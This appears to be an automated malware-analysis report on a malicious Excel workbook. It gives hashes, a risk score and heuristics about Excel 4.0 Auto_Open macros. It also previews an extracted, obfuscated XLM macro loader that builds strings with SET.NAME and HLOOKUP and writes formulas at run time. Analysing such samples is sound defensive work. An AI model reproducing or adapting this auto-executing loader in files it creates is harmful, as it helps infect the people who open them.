Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6b3ac9f08b0a2d2a…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:24:49 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 40912168724d353453e277bf73a067a8 SHA-1: 1b005aeca965c216836c6ad4e0ec06bb82e43f8f SHA-256: 6b3ac9f08b0a2d2a431f2a9e737e3a5bdeb9adf941967a6d05e6235b7ab31dea
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6436 bytes
SHA-256: 19a8d3ef542d71515c0e8634a26baef9c48858613932ab1c5bb1d311322595cd
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  GILSBR
' 0018     27 LABEL : Cell Value, String Constant - aRZbbkKFNgpk len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C185 
' 0018     26 LABEL : Cell Value, String Constant - CFexKiSpEHm len=0 
' 0018     24 LABEL : Cell Value, String Constant - duXmsQfNL len=0 
' 0018     27 LABEL : Cell Value, String Constant - EKfNRMeiheNf len=0 
' 0018     20 LABEL : Cell Value, String Constant - iMFNG len=0 
' 0018     24 LABEL : Cell Value, String Constant - ItUHQzjDE len=0 
' 0018     20 LABEL : Cell Value, String Constant - jqlGt len=0 
' 0018     21 LABEL : Cell Value, String Constant - LaEFFh len=0 
' 0018     23 LABEL : Cell Value, String Constant - mAhWaOpV len=0 
' 0018     23 LABEL : Cell Value, String Constant - MJxVKwWv len=0 
' 0018     25 LABEL : Cell Value, String Constant - MRWyqSPfTu len=0 
' 0018     22 LABEL : Cell Value, String Constant - QOMoNxe len=0 
' 0018     22 LABEL : Cell Value, String Constant - QVgOxwT len=0 
' 0018     21 LABEL : Cell Value, String Constant - RRTLHM len=0 
' 0018     26 LABEL : Cell Value, String Constant - saRgxDkIZtH len=0 
' 0018     20 LABEL : Cell Value, String Constant - SIhee len=0 
' 0018     23 LABEL : Cell Value, String Constant - vJORERdU len=0 
' 0018     20 LABEL : Cell Value, String Constant - wulgw len=0 
' 0018     22 LABEL : Cell Value, String Constant - XJzyHDA len=0 
' 0018     22 LABEL : Cell Value, String Constant - YMpoGyQ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  GILSBR,C93,"SET.NAME("wulgw",VALUE("0"))",""
'  GILSBR,C96,"SET.NAME("XJzyHDA",wulgw)",""
'  GILSBR,C101,"SET.NAME("ItUHQzjDE",wulgw)",""
'  GILSBR,C104,"SET.NAME("QVgOxwT",COUNTA(vJORERdU))",""
'  GILSBR,C106,"SET.NAME("jqlGt",COUNTA(mAhWaOpV))",""
'  GILSBR,C109,[],""
'  GILSBR,C114,"SET.NAME("SIhee","")",""
'  GILSBR,C118,"XJzyHDA",""
'  GILSBR,C122,"SET.NAME("YMpoGyQ",HLOOKUP("*",vJORERdU,XJzyHDA,FALSE))",""
'  GILSBR,C126,"MRWyqSPfTu",""
'  GILSBR,C129,"SET.NAME("LaEFFh",wulgw)",""
'  GILSBR,C131,[],""
'  GILSBR,C133,"LaEFFh",""
'  GILSBR,C138,"CFexKiSpEHm",""
'  GILSBR,C140,"MJxVKwWv",""
'  GILSBR,C145,"saRgxDkIZtH",""
'  GILSBR,C150,"SET.NAME("QOMoNxe",VALUE(HLOOKUP("*",mAhWaOpV,saRgxDkIZtH,FALSE)))",""
'  GILSBR,C155,"aRZbbkKFNgpk",""
'  GILSBR,C157,"SIhee",""
'  GILSBR,C161,"ItUHQzjDE",""
'  GILSBR,C166,NEXT(),""
'  GILSBR,C169,"EKfNRMeiheNf",""
'  GILSBR,C171,"SET.NAME("f",INT(T(FORMULA(T(SIhee)&"",""&T(EKfNRMeiheNf)))))",""
'  GILSBR,C174,"duXmsQfNL",""
'  GILSBR,C177,NEXT(),""
'  GILSBR,C180,RETURN(),""
'  GILSBR,C208,"SET.NAME("iMFNG",C93)",""
'  GILSBR,C211,"vJORERdU",""
'  GILSBR,C216,"SET.NAME("mAhWaOpV",R95C14)",""
'  GILSBR,C220,"SET.NAME("duXmsQfNL",225)",""
'  GILSBR,C222,"SET.NAME("RRTLHM",3)",""
'  GILSBR,C224,iMFNG(),""
'  GILSBR,C225,HALT(),""

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